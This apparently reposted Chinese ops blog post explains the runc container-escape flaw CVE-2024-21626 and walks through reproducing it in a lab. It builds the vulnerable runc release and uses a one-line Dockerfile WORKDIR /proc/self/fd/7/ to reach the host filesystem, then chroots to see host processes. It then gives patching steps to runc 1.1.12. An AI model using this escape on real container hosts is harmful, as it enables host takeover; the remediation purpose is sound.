7

【CVE-2024-21626】容器逃逸漏洞修复 - 咸鱼Linux运维

 6 months ago
source link: https://www.cnblogs.com/edisonfish/p/18025903
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

【CVE-2024-21626】容器逃逸漏洞修复

哈喽大家好,我是咸鱼。

好久不见,最近有一个很火的 CVE——runc 容器逃逸漏洞。年前的时候我们已经在测试环境进行了相关操作打算年后线上进行修复。

因为今天咸鱼才开工,所以文章也就拖到了现在 😃

简单来讲,docker-runc 是一个用 Go 语言编写的 CLI 工具,它利用 Linux 的核心功能(如 cgroups 和命名空间)来创建和运行容器。

由于 runc 内部不正确处理文件描述符,导致泄漏关键的宿主机文件描述符到容器中。

容器逃逸方式:

  • 攻击1: 利用文件描述符泄漏,特权用户执行恶意容器镜像,导致 pid1 进程在宿主机挂载命名空间中拥有工作目录,从而允许对整个宿主文件系统的访问。
  • 攻击2: 在 runc exec 中存在文件描述符泄漏和工作目录验证不足,攻击者可通过符号链接将路径替换为 /proc/self/fd/7/,并绕过保护机制,最终通过访问主机文件系统实现攻击。
  • 攻击3: 利用类似 /proc/self/fd/7/../../../bin/bash 的路径作为参数,覆盖主机二进制文件,从而改进攻击1和2。攻击者可以在主机上执行目标二进制文件,获取完全访问主机的权限。

这部分内容借用卡瓦邦噶的文章《CVE-2024-21626 从容器内逃逸到宿主机文件系统》

准备一个新的 VM,需要安装的依赖有:

  • 依赖 golang 1.22 和 libseccomp-dev 来编译指定版本的 runc;
  • 依赖 build-essential 编译 runc;
  • 依赖 docker engine,指定版本的 runc;

第一步:按照官方文档安装最新版本的 docker。

第二步:替换 runc (最新版已经解决这个问题了)到旧版本,这里我们使用 v1.0.0-rc10. 编译脚本如下:

# install golang
wget https://go.dev/dl/go1.22.0.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf go1.22.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
export GOPATH=~/go
go version

# install dependencies for building runc
apt update
apt install -y build-essential libseccomp-dev

# compile and install runc
cd $GOPATH
mkdir -pv src/github.com/opencontainers
cd src/github.com/opencontainers
git clone https://github.com/opencontainers/runc
cd runc

git checkout v1.0.0-rc10

export GO111MODULE=auto
make
sudo make install

安装完成旧版本的 runc 之后需要重启 docker engine:
sudo systemctl restart docker.

创建一个 Dockerfile:

# Sets the current working directory for this image
WORKDIR /proc/self/fd/7/`

编译这个 docker image: docker build . -t test

最后运行这个 docker image: docker run --rm -ti test

可能一次运行不会成功,多运行几次会成功。

进入 container,此时 cwd 显示

通过相对路径,我们可以回到 Host 上面的 / 了:

打开 Host 上面的文件
如果我们安装运行 htop,会发现只有自己的容器里面的进程:

htop 只显示自己容器的 pid

但是如果我们改变当前容器的 fs root: chroot . ,再次运行 htop,就可以看到所有的进程了。

chroot ps 可以显示所有的 pid

htop 也可以显示所有的 pid
但是试了下发送 signal 开 kill 进程是不行的,我猜是因为 pid namespace 仍然是对进程隔离的?

甚至可以在容器内运行docker 命令,看到所有的 container。因为有了 docker binary 的路径(和权限,因为容器进程也是 root)和 docker socket 的路径。

在容器内 docker ps

目前官方已有可更新版本,可以参考以下链接升级至最新版本:runc >= 1.1.12

下载链接

下面是咸鱼在自己本地环境的操作(CentOS 7 系统)

1、先看下当前 runc 版本:

2、复制上面的链接进去,下载 runc.amd64 ,然后上传到服务器上(我选择上传到 /opt 目录下)

或者直接在服务器上 wget 也行

cd /opt && wget https://github.com/opencontainers/runc/releases/download/v1.1.12/runc.amd64

4、先备份原本的 runc 工具

mv /usr/bin/runc /usr/bin/runcbak

5、更新 runc

mv /opt/runc.amd64 /usr/bin/runc && chmod +x /usr/bin/runc

6、重启 docker 并检查 runc 是否更新成功

systemctl restart  docker.service 

docker version 

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK